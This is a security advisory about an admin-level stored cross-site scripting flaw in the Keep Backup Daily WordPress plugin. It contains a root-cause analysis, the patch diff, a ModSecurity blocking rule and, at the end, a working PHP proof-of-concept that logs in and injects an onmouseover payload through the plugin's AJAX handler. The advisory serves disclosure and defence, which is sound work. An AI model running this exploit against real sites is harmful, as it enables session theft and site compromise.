Atomic Edge analysis of CVE-2026-3577:
This vulnerability is an authenticated stored cross-site scripting (XSS) flaw in the Keep Backup Daily WordPress plugin. The vulnerability affects the backup title alias functionality and requires administrator-level access. The CVSS score of 4.4 reflects the authenticated nature of the attack and the administrative privilege requirement.
Atomic Edge research identifies the root cause as insufficient output escaping in two template files. The plugin uses `sanitize_text_field()` on the `val` parameter in the `update_kbd_bkup_alias` AJAX handler, which strips HTML tags but does not encode double quotes. The vulnerability manifests in `/keep-backup-daily/inc/kbd_cron.php` at lines 279-280 and 502-503, where the `$title` variable is directly interpolated into HTML attribute contexts without proper escaping via `esc_attr()`. The `$title` value originates from the `val` POST parameter processed by the `update_kbd_bkup_alias()` function in `/keep-backup-daily/inc/functions.php`.
Exploitation requires an attacker with administrator privileges to send a crafted AJAX request to `/wp-admin/admin-ajax.php`. The request must include `action=update_kbd_bkup_alias`, a valid backup `key`, and a malicious `val` parameter containing a payload like `” onmouseover=”alert(‘XSS’)`. This payload injects JavaScript into the `value` attribute of an “ element and the `title` attribute of an `` element. The script executes when another administrator views the backup list page, as the malicious title is retrieved from the database and rendered without escaping.
The patch addresses the vulnerability in three ways. First, it adds a capability check `current_user_can(‘manage_options’)` to the `update_kbd_bkup_alias()` function in `/keep-backup-daily/inc/functions.php`. Second, it applies `esc_attr()` to the `$title` variable in both “ element `value` attributes in `/keep-backup-daily/inc/kbd_cron.php`. Third, it applies `esc_attr()` to the translated string in the `` element’s `title` attribute and `esc_html()` to the `$title` variable in the anchor text. These changes ensure proper contextual escaping for both HTML attribute and text node contexts.
Successful exploitation allows an authenticated attacker with administrator privileges to inject arbitrary JavaScript that executes in the context of other administrators viewing the backup list. This can lead to session hijacking, privilege escalation within the WordPress dashboard, or complete site compromise if combined with other vulnerabilities. The stored nature means the payload persists and executes for each administrator visiting the affected page until manually removed.
Below is a differential between the unpatched vulnerable code and the patched update, for reference.
--- a/keep-backup-daily/inc/functions.php
+++ b/keep-backup-daily/inc/functions.php
@@ -578,6 +578,9 @@
add_action( 'wp_ajax_update_kbd_bkup_alias', 'update_kbd_bkup_alias' );
function update_kbd_bkup_alias() {
+ if ( ! current_user_can('manage_options') ) {
+ wp_send_json_error('Insufficient permissions.');
+ }
global $wpdb, $kbd_backup_aliases, $kbd_db_prefix; // this is how you get access to the database
if(isset($_POST['key']) && $_POST['key']!='' && isset($_POST['val']) && $_POST['val']!=''){
@@ -834,6 +837,13 @@
$kbd_path = sanitize_kbd_data($_POST['kbd_path']);
$kbd_path= str_replace('\', '/', $kbd_path);
$kbd_path= str_replace('\', '/', $kbd_path);
+
+ $allowed_directory = realpath(WP_CONTENT_DIR . '/uploads');
+ $real_path = realpath($kbd_path);
+
+ if ($real_path === false || strpos($real_path, $allowed_directory) !== 0) {
+ wp_send_json_error('Invalid directory path.');
+ }
kbd_get_dir_list_html($kbd_path, 'sub');
--- a/keep-backup-daily/inc/kbd_cron.php
+++ b/keep-backup-daily/inc/kbd_cron.php
@@ -279,8 +279,8 @@
$stats = $db_size;
echo '<li>';
- echo '<input type="text" value="'.$title.'" />';
- echo '<a title="'.__('Click here to edit this title','wpkbd').'" class="kbd-bkup-title" data-key="'.$name.'">'.$title.'</a>';
+ echo '<input type="text" value="' . esc_attr($title) . '" />';
+ echo '<a title="' . esc_attr(__('Click here to edit this title','wpkbd')) . '" class="kbd-bkup-title" data-key="' . esc_attr($name) . '">' . esc_html($title) . '</a>';
echo '<a style="margin-left:100px; font-size:12px; color:blue;" href="'.$file.'" >'.__('Download','wpkbd').'</a>';
echo '<a style="margin-left:100px; font-size:12px; color:red;" href="'.$file.'&rm">'.__('Delete','wpkbd').'</a>';
echo '<span style="margin-left:100px">'.($b == 1 ? '[LATEST] ' : '').$stats.'</span>';
@@ -502,8 +502,8 @@
$stats = $db_size;
echo '<li>';
- echo '<input type="text" value="'.$title.'" />';
- echo '<a title="'.__('Click here to edit this title','wpkbd').'" class="kbd-bkup-title" data-key="'.$name.'">'.$title.'</a>';
+ echo '<input type="text" value="' . esc_attr($title) . '" />';
+ echo '<a title="' . esc_attr(__('Click here to edit this title','wpkbd')) . '" class="kbd-bkup-title" data-key="' . esc_attr($name) . '">' . esc_html($title) . '</a>';
echo '<a style="margin-left:100px; font-size:12px; color:blue;" href="'.$file.'" >'.__('Download','wpkbd').'</a>';
echo '<a class="kbd_del_backup" style="margin-left:100px; font-size:12px; color:red;" href="'.$file.'&rm">'.__('Delete','wpkbd').'</a>';
echo '<span style="margin-left:100px">'.($b == 1 ? '[LATEST] ' : '').$stats.'</span>';
--- a/keep-backup-daily/index.php
+++ b/keep-backup-daily/index.php
@@ -3,7 +3,7 @@
Plugin Name: Keep Backup Daily
Plugin URI: http://androidbubble.com/blog/website-development/php-frameworks/wordpress/plugins/wordpress-plugin-keep-backup-daily/1046
Description: This plugin will backup the mysql tables and email to a specified email address daily, weekly, monthly or even yearly.
-Version: 2.1.2
+Version: 2.1.3
Author: Fahad Mahmood
Author URI: https://www.androidbubbles.com
Text Domain: wpkbd
Here you will find our ModSecurity compatible rule to protect against this particular CVE.
# Atomic Edge WAF Rule - CVE-2026-3577
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php"
"id:1003577,phase:2,deny,status:403,chain,msg:'CVE-2026-3577 via Keep Backup Daily AJAX - Stored XSS in backup title',severity:'CRITICAL',tag:'CVE-2026-3577',tag:'WordPress',tag:'Plugin',tag:'Keep-Backup-Daily',tag:'XSS'"
SecRule ARGS_POST:action "@streq update_kbd_bkup_alias" "chain"
SecRule ARGS_POST:val "@rx "s+onw+s*="
"t:none,t:urlDecodeUni,t:htmlEntityDecode,t:lowercase,t:removeWhitespace"
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-3577 - Keep Backup Daily <= 2.1.2 - Authenticated (Admin+) Stored Cross-Site Scripting via Backup Title
<?php
$target_url = 'https://vulnerable-site.com';
$username = 'admin';
$password = 'password';
$backup_key = 'backup_1234567890';
// Initialize cURL session for login
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-login.php');
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query([
'log' => $username,
'pwd' => $password,
'wp-submit' => 'Log In',
'redirect_to' => $target_url . '/wp-admin/',
'testcookie' => 1
]));
curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookies.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies.txt');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
$response = curl_exec($ch);
// Verify login by checking for WordPress admin dashboard elements
if (strpos($response, 'wp-admin') === false) {
die('Login failed. Check credentials.');
}
// Craft XSS payload for HTML attribute injection
// Double quote closes the value attribute, then injects JavaScript event handler
$xss_payload = '" onmouseover="alert(document.cookie)';
// Send AJAX request to update backup alias with malicious payload
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-admin/admin-ajax.php');
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query([
'action' => 'update_kbd_bkup_alias',
'key' => $backup_key,
'val' => $xss_payload
]));
$response = curl_exec($ch);
curl_close($ch);
// Check if the request was successful
if ($response === false) {
echo 'Request failed.';
} else {
echo 'Payload injected. Visit ' . $target_url . '/wp-admin/admin.php?page=keep-backup-daily to trigger XSS.';
}
?>